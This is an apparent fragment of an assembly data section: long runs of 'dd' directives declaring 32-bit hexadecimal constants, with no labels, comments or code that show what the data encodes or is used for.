dd 25BA50DAh, 0C7C9AED8h, 0D1108EF8h, 0A2003617h, 436C7ECAh
dd 0C10D7B0Ch, 0E8152A55h, 9B2B5821h, 0C5E18049h, 0EF3F5A5h
dd 6076F781h, 115659E9h, 9F100055h, 424665B7h, 0F84B5F77h
dd 9B2E628Dh, 0B13585E5h, 0EE018Ch, 1EC9D18Eh, 0B238530Eh
dd 0DCC8C509h, 82FF8219h, 9C02806h, 2C7B0B61h, 55203EA8h
dd 0ECBDEC2Ch, 2665950Ah, 44676DA7h, 79D7834Ch, 0FBA3514Ah
dd 0AD74845Bh, 1AD78397h, 806DC8F4h, 13C74ECBh, 2D7BEA0Eh
dd 0AF6AF600h, 0F32DE06Bh, 0B108834Fh, 4C2892Bh, 627A947Bh
dd 258A567Dh, 0DF00EDB7h, 2878487Ah, 0B7D65ADBh, 626A4A0Bh
dd 6DB9A400h, 39985A8Bh, 0F156082Fh, 46600143h, 0EC5107D7h
dd 860B0BA8h, 58CA18A7h, 5B23404Ch, 0C0BC1A97h, 2D29A7D6h
dd 504F5DBFh, 0DBC1E54Fh, 183A08AEh, 0BAC1022Dh, 76AC42B4h
dd 0CA17FCCCh, 978DC91Ch, 41E75E83h, 0BA0950E5h, 0A47387D1h
dd 4482290Ah, 9BF8041Fh, 0C01788EBh, 0A4AD790Ch, 3C818EB9h
dd 0B3EC8497h, 2B80E52Fh, 92B7AF31h, 6593282Eh, 2CF676BCh
dd 0A720F86Eh, 1005EEC1h, 347AC8BFh, 0E6FD6CA3h, 3B62E0D8h
dd 0A3C61627h, 2CB213h, 75CF1944h, 99EDC4h, 8C0459B0h
dd 9A277F14h, 4AAD9456h, 0BCB853ADh, 0A83C0701h, 1480B9E1h
dd 0FD3365E5h, 8C937B00h, 24CE0375h, 27B90E09h, 0AD9271A4h
dd 21222A58h, 0D38B1231h, 0D01EB961h, 57DD4AC5h, 49C0735Bh
dd 0BD03BB3Ah, 0EB12B54Eh, 9E77B98h, 0D864A69h, 67447C71h
dd 20BDBC57h, 604EB523h, 49D34DBFh, 7C490FD9h, 0BD196A5Bh
dd 23D5C382h, 9B54C60Dh, 8DBC39F4h, 74A85902h, 0EB619971h
dd 963D2EFEh, 0C0A8F329h, 6DCDF01h, 9A99E8Ch, 41F1F30h
dd 0E91EF337h, 7BA3B83Bh, 0FB80CF01h, 0C18B448Ch, 0E9B8143Dh
dd 12D2D301h, 24B19D0Bh, 95DDC6Ah, 2DBDB516h, 50D93BD2h
dd 0C16D95D6h, 0FDF7FFC7h, 99345900h, 2851956Ah, 0D50F8B89h
dd 0E992318Fh, 5AECBDC1h, 5C7200D6h, 3876DD79h, 0AB31B356h
dd 0A5D5D45Fh, 0A7E9A72Ah, 0A213FFF0h, 0ADBF0285h, 0F544AA19h
dd 2F68F5Ch, 3967F5B1h, 0EC7564ADh, 5DBD1097h, 1090252Bh
dd 1F1118A4h, 79F3CED8h, 0FF4C6616h, 890FBB04h, 0EE52C7F4h
dd 8C4C9780h, 80F7D9BDh, 33E5FBAAh, 0B558BE2Ch, 0C5EB001Eh
dd 315F5B6Dh, 1105249Dh, 63024BC2h, 0B7D502D9h, 82169123h
dd 0E0652A45h, 972EEDB5h, 37559F3Ah, 66AE00F6h, 0BF0C2751h
dd 0CE548402h, 82D1FF37h, 5C26D9A1h, 2FB2719Ah, 0E0B12AE7h
dd 1F007A0Dh, 6C2999F3h, 26A2D0Ch, 2770DD5Bh, 0D5710278h
dd 0A5F084EBh, 0A940077Ch, 0D82E70h, 0D07E66C5h, 56FECC0h
dd 148D0F13h, 0E80034E7h, 3C98E737h, 9F00E34Bh, 0FFFA6720h
dd 5AACE45Ah, 0CBCBA850h, 401604BBh, 0E63B53ABh, 301AB210h
dd 0A9003595h, 8F4D8916h, 0B555BD23h, 2EF92649h, 41DFE038h
dd 2FCF38A5h, 4007F8C8h, 8A7E6110h, 5BA51A97h, 22D770D9h
dd 596BD22Fh, 2B698080h, 97CCDC2Dh, 23B35400h, 4349AFF8h
dd 0F96328DBh, 0C539F8Ah, 1413478h, 0D830148Fh, 2EFC5D27h
dd 870FEF61h, 4C7CE2Ah, 1F69B529h, 60BF9CFEh, 7AE28B5Eh
dd 0ED6A611Fh, 0F1A6AA59h, 0A5CBDE25h, 8B69D456h, 2565C6C7h
dd 99CC611Dh, 4A21F84Bh, 3C30B0F9h, 70E605FEh, 49D59D23h
dd 1301E4E0h, 2E15A18Dh, 2AD99532h, 2A0D112Ch, 2A40E260h
dd 6BE80DB8h, 3F32162Eh, 4F13D1C4h, 0A9C4EBE9h, 184E2CAh
dd 0A4109C62h, 986A5B0Bh, 0D1218DD1h, 0EE602520h, 997EE14h
dd 0A9672FBBh, 25B6703Eh, 0AB54B5B3h, 81D07125h, 0A01E2319h
dd 0AD01E9BEh, 8DFB8215h, 3DC60C10h, 0D892199Ch, 0D0F99DE0h
dd 0BB09A708h, 9472F882h, 0A8FC1644h, 1E733C32h, 9163BEB2h
dd 137D4844h, 70AE235Dh, 0BBDF81E0h, 55627D12h, 292280E2h
dd 0E55FB1B0h, 1598921h
dd 40A58301h, 0E780FE21h, 62B8FB68h, 244CC20h, 98864BB7h
dd 2E41F479h, 0D8BB093Ah, 0D115B73h, 1C1F4600h, 705FE20Ch
dd 74FEC401h, 0B92E477Fh, 6AD1F17Eh, 0EEF053A6h, 31036313h
dd 7E96D646h, 54B8BC80h, 9976E5Fh, 9983BB8Fh, 57608E87h
dd 21433F2Fh, 1E69F400h, 0AB6E4DAEh, 0F7BF9E01h, 0FC29719Bh
dd 1085822Ah, 85CA3D56h, 2BB7022Dh, 82ED5DD2h, 0D3D5E9C0h
dd 0D990021Eh, 5E70F916h, 0C60EC4C6h, 466EF60h, 46E82A68h
dd 975FF344h, 0D7A14336h, 72E02FFFh, 2B56821Fh, 0DE7C7EA7h
dd 0A061D305h, 64EC901Bh, 70364487h, 1DC4A54Ah, 186B499Eh
dd 13F7A47h, 0CC6D6014h, 33B94136h, 0B7530BB2h, 0C9B9D539h
dd 4A372941h, 0FE896DD9h, 6D710885h, 947ABDD1h, 0F888098Eh
dd 0F2C425CDh, 7F806ABCh, 0DC0E11B6h, 3227E70Fh, 0DF1F20FCh
dd 12D5EFE5h, 0E2474479h, 0D6CA897Eh, 11F4F676h, 1DDC6C02h
dd 4087C071h, 8E2B2D46h, 1FBB7B7h, 239DAF6Ch, 348C2A42h
dd 5BCDB001h, 0E162612Eh, 605FF51Fh, 8009C8B6h, 73C5204Dh
dd 66FBA7B9h, 0EE424659h, 98A66A7Dh, 1FECB30h, 24419B31h
dd 3EE1FFBBh, 0BE8055DBh, 131F23A8h, 0DDB8C212h, 4AB88C1Ch
dd 529E3AE3h, 6A7AFB04h, 0BC3BA100h, 4A6DFECFh, 0B116C116h
dd 21454904h, 66E201BCh, 319D3320h, 5873BC28h, 26D31D86h
dd 60F03CA6h, 0A258D59Eh, 1B17C03Eh, 0FD30F0C9h, 6400C923h
dd 0A08EDCDh, 0E00B566h, 394770F8h, 4B413F4Dh, 0ABC08460h
dd 5E41A88h, 95E868DEh, 4300BEA3h, 0A03D31C8h, 717A5867h
dd 619EF55Fh, 61BC011Fh, 0AA322E14h, 0DD38DD15h, 0D97DBE68h
dd 0E18E3E04h, 0B6B9DC27h, 32C19D82h, 0D3019514h, 2E90010Bh
dd 591E60A2h, 1BB7250Dh, 896B8600h, 18262148h, 5A0B02CBh
dd 9095D1BDh, 4B9D2983h, 687E01E1h, 0C8152C82h, 84D65250h
dd 0C05FDBEDh, 0A2F7DE2h, 816E7AFFh, 0F51CB90Bh, 5836D280h
dd 86129ABBh, 80A71D52h, 8BBADA5Ah, 68207677h, 0A7109B0h
dd 0AD2A1655h, 0A62D6087h, 0C901CF3Dh, 0AB0DDCFCh, 3640E837h
dd 59BE1BAh, 0F69F911h, 0C142218Bh, 0E95B0024h, 49024F17h
dd 0F771DACFh, 0DE9A762Dh, 0BECEBD09h, 5C3A00E7h, 951990DEh
dd 0BD15FD04h, 71F9C91Ch, 0D1D0A7FBh, 652FA1B0h, 0BEE4FB31h
dd 0B0B70627h, 4E48F000h, 2F0160ACh, 85D4158Dh, 84A38AAh
dd 204BA9E7h, 71C22200h, 67911F00h, 8C3A7055h, 80394BF2h
dd 0D2E8BFA7h, 962A3817h, 303A0BE8h, 0DEA5A1F6h, 567CBB35h
dd 0B2A7E65Fh, 0E5F6301Ch, 5602B1E0h, 4ADAE448h, 896A60F9h
dd 48C7B531h, 1313B03Ch, 90A9E7h, 0F572C3Ah, 0C43CC39Dh
dd 82298A3Ch, 5E46696Ch, 627F4884h, 12B1A15Fh, 64F59C10h
dd 386BC700h, 0BE49701Ah, 416F01C8h, 0EBA011B0h, 741750A1h
dd 7E0002C4h, 1B55C854h, 0F0DC037h, 7A5F0C47h, 0E8248B4Fh
dd 39444010h, 9AC61Ch, 4732E6Dh, 99BA590Eh, 251AE707h
dd 8B155B5Fh, 30B78847h, 4C325769h, 0FF21687Eh, 585F5205h
dd 30B972FDh, 3414AEFEh, 2CDD85B4h, 8D921079h, 0F780D32Ah
dd 88C1849Ah, 4DBC8104h, 61C276A4h, 817DD6BDh, 0B350905Bh
dd 0ADCD297h, 0A00D4BDCh, 618A0C17h, 0A62A23C1h, 3317F25Ah
dd 5F51CE98h, 9737DE5h, 0ED615B1Fh, 0ECA0C053h, 543F704Fh
dd 0E38BCBEAh, 33C5F925h, 74254D1Ch, 0E907F4DBh, 0B271FFB7h
dd 56CD6FD0h, 6A53953Ch, 2E969F8h, 0BD981E4Bh, 7A1D8E93h
dd 0A2232D7h, 6D09768Bh, 474C06h, 422C9774h, 5613F33Dh
dd 9D282A12h, 0A4880FF2h, 0C10EEDA5h, 3AE988B9h, 792ED3E1h
dd 0C02E0F2Dh, 2EF6FD4Ah, 98AC4B86h, 65319D45h, 0C5BDC526h
dd 61177D73h, 0F24FF61Fh, 7FB13114h, 5BB83C34h, 4C9C04D6h
dd 4A83B8B4h, 0E0C1049Eh, 2BEA1979h, 0E176BE9Dh, 1363D5A0h
dd 76FF8604h, 92E87EEAh, 9B33DA80h, 0CD008C6Bh, 0E4BDDB25h
dd 0EE46F9h, 0A25EBC9Ch, 96BB5662h, 0F08B600Bh, 0F02F5F61h
dd 0B2B4B632h, 0BA9D301Ch, 0FD9CE500h, 5E0AD0E8h, 0C81340Fh
dd 4230BF25h, 0FF619509h, 0E1858204h, 3A972778h, 0D9B57F78h
dd 9EF31201h, 0CE6EF546h, 0E7C709F0h, 89DA0228h, 58315AB5h
dd 0B8D38A5Fh, 0D37D808Eh, 3D32AC66h, 2681BA43h, 0A3F827CDh
dd 0C9DA6A5Bh, 0F4C017C8h, 0B46E2C83h, 770A09C1h, 3D97A378h
dd 0C87B8063h, 0B3C95CA2h, 10690627h, 5B1EC1Fh, 8C085FEAh
dd 4B9FE8D8h, 4E3AA98h, 2BDB5E27h, 0E5FF3F9h, 0D265BD31h
dd 0A95A85F6h, 5B3BA879h, 1798B62Ch, 0E7208185h, 8223059Dh
dd 0C625965Ch, 78DF8674h, 1EB8196Ch, 14C13EAFh, 0A39249B9h
dd 0B50909AAh, 97AC70F9h, 3CD097DBh, 5B7D7265h, 449F0494h
dd 291F81A5h, 0D78A2E1Ch, 2FA9BD09h, 0BDD9167Dh, 3F40814Dh
dd 1230C8Bh, 6EE177E3h, 6CF8D157h, 0C220206Ah, 96750393h
dd 600008C6h, 0D6403CDFh, 1753D318h, 0EBFD8D2Fh, 3356F617h
dd 0FC0047A2h, 7F55846Eh, 4800A6BEh, 0F3C589BBh, 95965B17h
dd 7F045D37h, 2B80623Bh, 4D462DCEh, 1BB83071h, 9E03058Ch
dd 0C2A20F56h, 0EF821907h, 0BAD51CA5h, 0A6985DE7h, 0EA9DBD0Bh
dd 51AB5C74h, 94301520h, 57A2EA2h, 13495F31h, 120AF750h
dd 96F10E2Ah, 595995CCh, 16E8412Ch, 0D55C128Ch, 2163B028h
dd 94DE6EB5h, 507B2551h, 7F47C2A5h, 6283CF37h, 88CBD5D1h
dd 97D70FB1h, 7D4A3A94h, 5DB094A7h, 7D04B603h, 9A4179F8h
dd 78288CAFh, 628B5501h, 5AC534E5h, 6A878338h, 1936A140h
dd 73C03E79h, 0E5BA1A3h, 0F1BD235Fh, 0D57DF212h, 0B5ACADh
dd 6390A885h, 69BEF85Ch, 4BC67025h, 5701F22Bh, 0D280E61Eh
dd 0E9801435h, 0FFF238CEh, 271051ADh, 2F166E49h, 140B56BEh
dd 0E2E4C1h, 0E9ED14AAh, 0BD522257h, 0F0269527h, 5B064073h
dd 59815B95h, 0D71819h, 231420F6h, 9BD896Bh, 1349215Eh
dd 0BCD550D8h, 5800DC41h, 2698E179h, 41BEC0Ch, 8501FA4Ch
dd 0F448CA9h, 6058022h, 0F34E62BBh, 8B5B1A64h, 0E66196E2h
dd 0DAFEB5E2h, 0C00AED7Dh, 6DE5AB9h, 6045AE17h, 0A504F184h
dd 61092A75h, 0CD973378h, 2175C936h, 40FA8EE0h, 0D275F942h
dd 9F97B0ADh, 0ED81F8E1h, 7E883A50h, 0B5F9BDD7h, 1ABC7882h
dd 5982E2ECh, 5BDF8580h, 0C0F09B90h, 8CCAE837h, 4EDF16E2h
dd 0BE8313D9h, 6AFCEC45h, 0C0159BEAh, 0D8B6A48Dh, 0A6CC04FDh
dd 0FF6A383Eh, 0ABE06730h, 0F3E71DF8h, 0AED901DDh, 0C1BD9F56h
dd 73322F19h, 6C505EF9h, 0FF25D9EEh, 70D27BD1h, 94974B59h
dd 387A4545h, 66080FBh, 1C9B448h, 3058EC7Bh, 2BCB375Ch
dd 27025183h, 0C542FB88h, 8088BDFFh, 325F5423h, 0A80C30C4h
dd 2111E815h, 5561000Eh, 0B7FE594Ah, 7B07AFFAh, 1F84685Ah
dd 66F21BB2h, 0D5F92E02h, 1A830075h, 45048049h, 7136E6BDh
dd 1EF55D5Bh, 0AEEEBB80h, 0E91239E4h, 0DF20E6Bh, 1DB5ECC4h
dd 5DCC381h, 456614F8h, 0BB3F27F0h, 3524BA97h, 6C418797h
dd 0CAC03E2Ch, 0F98B6491h, 0B5DB8012h, 959013B0h, 6841B8B1h
dd 2BC11FCAh, 0DBCB8084h, 0BE9205BCh, 0F825C27Ah, 5B9F1BE6h
dd 0F57278A3h, 0E291DA25h, 0CB735534h, 454BCD0h, 0E14682C6h
dd 3D2EC1EFh, 0FF51922Dh, 0C80519Bh, 7453DB4h, 5009CF80h
dd 0B8FEB3C4h, 0D312D1Ah, 0FDD22453h, 429CD84Eh, 76E4722Dh
dd 29992589h, 0F7516556h, 0A3F847ADh, 16B0E3CEh, 0FDC1EA00h
dd 61E654BAh, 0E4DAA870h
dd 0BA346B71h, 0D4229AB9h, 3D9D0B13h, 0F3817540h, 4B294E31h
dd 5B93C71Eh, 49D40E8Eh, 0BD15A512h, 2FBCB3Ah, 2008E9C6h
dd 0EF91D740h, 74A3ECF5h, 0F788A097h, 2D381E2h, 16794CB4h
dd 0AB80C82Bh, 8B3AF2C7h, 0F380D102h, 0A206E9A1h, 0E4183D71h
dd 0E9D204Dh, 0EBF8234Bh, 8A88E092h, 220AFD6Bh, 57316523h
dd 14231F99h, 0CC8027B8h, 3594B863h, 428D9200h, 0ED918514h
dd 47E934E4h, 0C356A825h, 9D1D9D29h, 2AC18AABh, 0B5125785h
dd 1EBD2261h, 0A8BC2088h, 0FE3F1BA5h, 698DA550h, 0EAA05B0Fh
dd 0F1F4F76Fh, 0EE59530h, 0FE38ED04h, 1F46FEEh, 0F5EE9174h
dd 86E6236Eh, 0C1739594h, 0CD852950h, 0D510AC17h, 55247D09h
dd 0B75D45BAh, 0B97B0486h, 2591048Ah, 957251Eh, 0DC8ED6B1h
dd 4AB7CE0Eh, 0C20961A3h, 0F4309A06h, 0C5608904h, 0E25EC661h
dd 3B49D02Dh, 6E4FCE06h, 0C7EB017Dh, 0F5C5E8B8h, 6100ACDh
dd 0B601FC9Bh, 3D0352C0h, 643FB14Ah, 8462FC9Ch, 0DFEAB85Bh
dd 0FC881ADh, 71420E8Fh, 18D1858Bh, 42DE24EBh, 0D22B61ADh
dd 2A0D5FE0h, 81D1CDB5h, 0A98D31F5h, 0DC642F06h, 0F9522380h
dd 12284FB8h, 0F47BEE57h, 0A6C8AF00h, 81418B22h, 0D49DB09h
dd 0BB97B6Dh, 955CBFB7h, 4AB5955Eh, 113E3100h, 16CEBF46h
dd 40806A0h, 0AA5C7E86h, 354338DEh, 16E13F7h, 0FABDBA2Dh
dd 890F3955h, 1B888CFh, 16B00E8Ah, 8CECC0F9h, 4FCF9302h
dd 0D7FCB21Dh, 28A19C35h, 0F25B8380h, 970DAEDEh, 8120616Eh
dd 0E1FF2627h, 1C250955h, 5BC46B79h, 0E6511257h, 0D5F99243h
dd 4D196FB8h, 2A06025h, 16F61E15h, 0AD31AA81h, 8B6B0CB1h
dd 0A1F122BBh, 6EA4EF01h, 2F02107Ah, 0C204CD60h, 0F98572B9h
dd 9DB3A4FDh, 4BF4854Dh, 60B26484h, 5F38D602h, 585EE236h
dd 0FEB55525h, 22C6F480h, 0E70BDBEBh, 482F1ED5h, 0B7893A73h
dd 11E45BFAh, 4F860708h, 0A2D11E6Ah, 9D6BE333h, 0A36A7AB8h
dd 8F30A100h, 0C515D8Dh, 0F617F0B0h, 0FBB609h, 0CEF94F87h
dd 109F9006h, 0DBD88h, 0A65B4762h, 5802E683h, 4B13F602h
dd 5E50D428h, 106447D2h, 1002EE54h, 1BC8EA09h, 70DE5390h
dd 0A509ED58h, 5D95016Dh, 0E36AFFA5h, 0FCDF0260h, 4C06AC1Ah
dd 0B5310B7Fh, 0CFD60E15h, 5C276142h, 84507234h, 4981BBE5h
dd 0E7831634h, 26106726h, 0F466BC12h, 130B4301h, 3E3800Eh
dd 0B969572Bh, 1234E8B4h, 0ABF8EAB0h, 20096462h, 9C4F68CBh
dd 0B91FA0E4h, 0C1962471h, 0FB82F2B8h, 0A97FBD0Bh, 5498710Fh
dd 2F74AE00h, 23E97164h, 0C0895B2Eh, 547CEF0Ah, 0D1979A97h
dd 2DCAA044h, 277B261Dh, 98DB7A5h, 0EE5EF2F0h, 0BCF70812h
dd 38E7C85Eh, 63BFFE95h, 0E9F8ACA4h, 0F2A05FF8h, 22907D3Dh
dd 0C4DF6DBDh, 8712AF28h, 236B6BAAh, 0B0DF001Ah, 0FC7236EFh
dd 78823F4Eh, 90B2D721h, 7C5040D3h, 4A957333h, 59885B9h
dd 0FE07551Fh, 9087F652h, 80033759h, 6BB8E070h, 0D10AC04Bh
dd 0C9B1B52Bh, 91BCA116h, 0FBC8AFA4h, 30E3004Eh, 7CDDCFF1h
dd 92031221h, 0DA5D4C54h, 3918F8BBh, 0C5B7268h, 0B28A4120h
dd 0E095D8A6h, 28C2DF60h, 25DE4D94h, 76E26743h, 840B3DFFh
dd 0BFFA9AF5h, 0F4BD93C3h, 0E2B35F0Fh, 178E076Ah, 34A05B49h
dd 2D0B9406h, 58FCD832h, 80A9C069h, 0F6B949C7h, 5B61BB99h
dd 0B60EC0B0h, 463F092h, 3205BEFCh, 0B43FBC02h, 0E7DF4C1h
dd 8D88B32Ah, 6E7E274Ch, 26310030h, 0F9E9775Bh, 0C9021DD1h
dd 0AA3D9369h, 524E87Bh, 28F10944h, 4A774B5Eh, 1216DE2Eh
dd 83A6599Fh, 2F34AAE1h, 88B85F28h, 0F6A5D0B3h, 4AF8A99Fh
dd 5D6EAAh, 0ECB22988h, 16221741h, 0C5798492h, 0AC54FDD7h
dd 88168C16h, 0E2B99174h, 7511818Eh, 2626C771h, 0B5097EA1h
dd 0F6225E8Ah, 470498B2h, 44395C32h, 6C6D20BEh, 0A00F2EFh
dd 2B5B7A78h, 711B67A7h, 0ABBF2739h, 2A5F2F41h, 14B2AFB6h
dd 13FBFD33h, 0F2EFCDD4h, 60266077h, 2CB60BBBh, 54197193h
dd 90BD2BE3h, 16407C81h, 73F12E5Eh, 6E4BB87Ch, 2D7F07C2h
dd 23C0B628h, 0B009F51Bh, 2AFD4530h, 17234A6Bh, 2C3D0501h
dd 8348E820h, 0F6CF00C4h, 1B49D7C8h, 285861CBh, 0F09C2678h
dd 7E9E9B00h, 9E5F35D8h, 0DD4B38D7h, 80BC6C7Dh, 7FD65187h
dd 0FFF30149h, 36045B5Dh, 25A0EDA9h, 0D87B2E16h, 1611AE0Fh
dd 1F9902C0h, 309FA09h, 5720559Dh, 16911037h, 13F42982h
dd 4A8D84FDh, 0AF9237BCh, 0E1878E9Bh, 3266D092h, 0C778CA25h
dd 77A71E4Ch, 1A2B0F40h, 0BE0305BDh, 81800A71h, 50A251E3h
dd 9E7EC38h, 71F2195Dh, 3B06778h, 0B73A0997h, 1A998055h
dd 9A483CA7h, 0B1B6DF09h, 0D6D35E0Ch, 8B121546h, 39550554h
dd 7675AF01h, 75E03CB6h, 9A07AE95h, 14D20C5h, 0B817087Fh
dd 11B9293Fh, 0ADE48BC8h, 2550A8FFh, 0E0638319h, 6D7F4AA2h
dd 79B06B5Eh, 0F6B09A6Ah, 2618FD20h, 1336096h, 7DB9E9BAh
dd 0C930313Bh, 4C37B88Ch, 0D78A131Dh, 4ED872B4h, 92D59B96h
dd 0F0BBC4EAh, 65B71496h, 0EE7D7068h, 5E758904h, 52802639h
dd 12844A54h, 0F6C5B773h, 6B862868h, 4A621497h, 0ECC0BD42h
dd 0FED90328h, 0DB02D37h, 2F5072A1h, 0E1888h, 1B6EBD75h
dd 0EF368256h, 0DEBC1C0Bh, 768D09F0h, 5BB93A3h, 65430A15h
dd 0CBADF88Bh, 5AA54360h, 0E37C12D1h, 80305F70h, 1485DF81h
dd 2833CC08h, 57C3009Fh, 31476BF7h, 5958D24h, 0C485CD25h
dd 5D7F6016h, 809497DBh, 97E7484Eh, 3BDC41B1h, 0AE814634h
dd 742F2EFDh, 7EEB260h, 6C81D8EAh, 92EFD91Bh, 0BB4CF05Bh
dd 0DEDAD009h, 694B7921h, 2A0060D9h, 195A324Dh, 2E695h
dd 7C34D644h, 47D36C2Eh, 98E22234h, 0C79628BEh, 5EB8BD00h
dd 719E64C6h, 0D9EA0403h, 0BCAFE95Bh, 59B4A73h, 494DCB80h
dd 20173DB1h, 76800355h, 5E8BB5B6h, 16E1C2C1h, 3A3B957h
dd 8A0DB9F0h, 28537957h, 252B98FCh, 87FE0595h, 0F6085C6Bh
dd 8ACF9B31h, 0B33A1EA5h, 0E3602D36h, 0F4E9EA0Eh, 24611F04h
dd 0F030F40Ah, 0C688E4E8h, 0D0F2BBFEh, 0AF023642h, 0CA3B6787h
dd 117411Dh, 844B7E7Ch, 0C26EBE7Bh, 0FD98A025h, 0EB0F7922h
dd 616E9B88h, 0B860D992h, 11D699E4h, 96FFA77h, 7FF8B70Fh
dd 68CB0D12h, 80F39EC5h, 0A502D5FEh, 1247788Ch, 0BD2FAE50h
dd 8C14ACA5h, 0E8F0FC5Eh, 0A3E59534h, 7B59C2A3h, 0FF87986Eh
dd 6CB6D15Eh, 0FF4281E5h, 6BA67E64h, 25BD851Ch, 9FC4C679h
dd 1280F9DFh, 1F055D19h, 2513C538h, 8192E09Fh, 94C013EFh
dd 0D5ECBC90h, 0CB8E09h, 757DF527h, 25FB00EAh, 7871A5F9h
dd 0C512078Bh, 6EEF904Bh, 0F3660067h, 0E9256B92h, 0D7811D5Fh
dd 2EF05F97h, 81D4491Dh, 87C982F4h, 2C8B9E0h, 790BBB66h
dd 808CD75h, 5225C692h, 6EDA5E1Eh, 7FFC4F81h, 123E4081h
dd 0F6046A59h, 0B0BC307Ch, 1E0130D3h, 27020157h, 5BFA8B3Ch
dd 8A5E7490h, 16CD83B3h, 4929CC87h, 66AC115Ah, 0B32A5E1h
dd 25EB6E5Fh, 0EB575C46h, 0CD70DA7Bh, 2445769Ch, 1132A039h
dd 90B65A0Ch, 352E7B58h, 251542B2h, 0FE4B27D2h, 415131D8h
dd 89EF0101h, 31202F17h, 20941CD7h, 0B32705F3h, 319356F9h
dd 2F10DF1Ah, 43302F4Dh, 0F4022E60h, 0AD064E35h, 533DC08Dh
dd 2A6B8111h, 10C0562h, 0F0FF30B1h, 2B6E3956h, 202BBBD9h
dd 7A356CE1h, 77CDF600h, 4A6B691Bh, 0DF012C9Fh, 45FA287Eh
dd 69D5E202h, 8F44608Ah
dd 59500C02h, 3E4C5E61h, 90E2DAh, 1E5A79D3h, 1D42A4D9h
dd 0C0FE8E05h, 0AC131155h, 0E52A8669h, 43004590h, 0CDC2A6E8h
dd 9D4F350Bh, 6105B3D1h, 8E00C82Bh, 5982E3F1h, 29D1048Bh
dd 0FE2EF985h, 243FCAD9h, 0EE32FA95h, 0AC6979F9h, 213D086Fh
dd 9EF78005h, 30AE4B85h, 5E0385C6h, 7FA6BF00h, 6ED57299h
dd 0D24700C3h, 0C2E2C11Eh, 28B0E0B1h, 7920392Dh, 0D24B38C6h
dd 0D91196h, 4888E9ADh, 0B8666010h, 618C7517h, 8C2735AFh
dd 0BB00F776h, 34A6B2EBh, 2517A48Ch, 88E45D0Fh, 84882345h
dd 0A83F0B31h, 0FE4825A5h, 0EDD30D27h, 7800847Eh, 4B69BD09h
dd 108BCA0Ah, 0B9924352h, 1C1CA839h, 64996497h, 0AEF9E41Ah
dd 0F403E6h, 0B22064EAh, 0E612505Dh, 24AE7281h, 0E819E9DCh
dd 674A0EE3h, 102057C4h, 81F9BBA9h, 0DF22E701h, 0AFB91C21h
dd 203F2325h, 5A3E0FCh, 7A4837E2h, 1C0AC072h, 0E6C909h
dd 190201B8h, 94A6122Dh, 0DC176B01h, 5B5610DEh, 0A6A2172Fh
dd 0AAF2E03Dh, 0D05C12BBh, 20DBECBEh, 0EC59F418h, 0FC42094Ch
dd 9845820Fh, 9AF3800h, 47887EAh, 0F63173D1h, 0DF9AEA8Ah
dd 8FC01488h, 4F39B501h, 0A55E431Eh, 2BD9BEFBh, 0F66E6BD2h
dd 69EE1D03h, 77F1FD40h, 51C87F68h, 5CBA009Ah, 8A4D7221h
dd 0C84E6E58h, 16FC76B9h, 7B93028Ch, 55D380BEh, 99D1BEC0h
dd 0E8090790h, 6D0E9C96h, 0A440CE2Ah, 0D50E4830h, 716D9225h
dd 0FB8317DBh, 9862Ch, 0BEED93CAh, 2D699D33h, 2D046597h
dd 8A127635h, 0B429BDB0h, 9A57EB3Ah, 6CE87509h, 24C891FCh
dd 0A36193B1h, 71986230h, 0E9175D21h, 0C6DF8082h, 0C541D550h
dd 14283A5Fh, 6B38836h, 0A3DFB84Fh, 0CC29B78Eh, 58A7E079h
dd 0B60197E1h, 0F3525B5h, 80001F22h, 75BF46CFh, 9743A1F3h
dd 252DBB94h, 703D04h, 90840B76h, 0EB5A544Fh, 4C0FC8h
dd 7A0FBEA6h, 5A1D2718h, 9B74FA01h, 2EE5BD31h, 35318E2Eh
dd 0C0037FA9h, 0FD752448h, 41BFE400h, 918B0F0Bh, 0E2521238h
dd 88300746h, 3230BC26h, 4B03D9C7h, 0BBAFC55Fh, 75024F6Eh
dd 4D47346Fh, 0BF01C55Eh, 0BA737EBh, 29A6472Fh, 375D0B01h
dd 0DDC7800Bh, 0C5D42F64h, 9D0B3A09h, 56412BE9h, 1846D671h
dd 0EE683400h, 816029CEh, 0AF5CE004h, 81836C45h, 0E652DC8Dh
dd 301BB2EDh, 262CE23Dh, 243A1CB6h, 0DE139E03h, 7BEDB9BDh
dd 4469DAF6h, 0BBC0004Dh, 4AA9C3Ch, 287764A5h, 0A6B240h
dd 7FA13104h, 3B8EE6Ah, 409CB2F9h, 0E6E80BF6h, 68019D0Dh
dd 3895A951h, 802EDF8Bh, 8AAAAE9Bh, 0D7C7DCF3h, 3FAF3312h
dd 2B05BAB3h, 4925C99Dh, 9979FEE1h, 129D6BA8h, 0A1DA82ECh
dd 0EDE90414h, 0BD2304F9h, 95BD2F8Dh, 0A29F0D2h, 0E4244DB7h
dd 0FB596019h, 14291282h, 2D55ECBAh, 0C92B56F8h, 57371A77h
dd 3C422ABAh, 293930DDh, 1E59258Dh, 0ED9D19ECh, 38C2412Eh
dd 65E4E8EBh, 11D84BFh, 58BB9600h, 5F174064h, 2A15750h
dd 67B9FCDAh, 12E40092h, 6B1D0A97h, 0E5EC5B7Dh, 2A319D04h
dd 0C89ADBABh, 0DBA4C01Ah, 0EB24B412h, 84021005h, 7527598Bh
dd 0E0578CE2h, 9761CB91h, 7B0BB56Ch, 4D274688h, 0E139C40Ah
dd 2E83215Ah, 15BF3830h, 56D22743h, 6D60BC56h, 0B4442DDh
dd 97E74C96h, 1D834F02h, 0BB4E5Fh, 25DF5F57h, 614A0D15h
dd 2499F900h, 5B73FD3h, 0ACEC4FE1h, 905BC5F4h, 0C0E1EBA6h
dd 4A902633h, 0E3066420h, 2F4600E8h, 8FB77926h, 1503E72Ah
dd 104F0CD7h, 0F361F2B1h, 5A637028h, 77BC404Bh, 0B73A9A55h
dd 3219B202h, 25E04055h, 282EEB46h, 0CFBF4E82h, 0F5D9608Fh
dd 0E9382FFFh, 80DE4F45h, 0FFE08D80h, 60B822BBh, 2515C3Bh
dd 3C2D73C5h, 777A5E5Bh, 71D6CF48h, 7AAF0953h, 556A5B8h
dd 0B76C892Dh, 88F38020h, 0AA5C9513h, 78CE518h, 0B515DD54h
dd 0A02CFEE7h, 6F6F12Ch, 0DCF78012h, 54E4A09h, 0F334A98Eh
dd 9712BB57h, 38B729FEh, 4D178010h, 2586E2DDh, 7FE6F3E8h
dd 0F99D3109h, 6D96D51Dh, 9DD48D96h, 0C62512D9h, 0BD564F5Eh
dd 52F9C89Dh, 67DBE7C0h, 0D5329297h, 180630B7h, 0E04EA84Dh
dd 82319598h, 0AB27F8Bh, 0F73CC480h, 500EEE1h, 50911EE2h
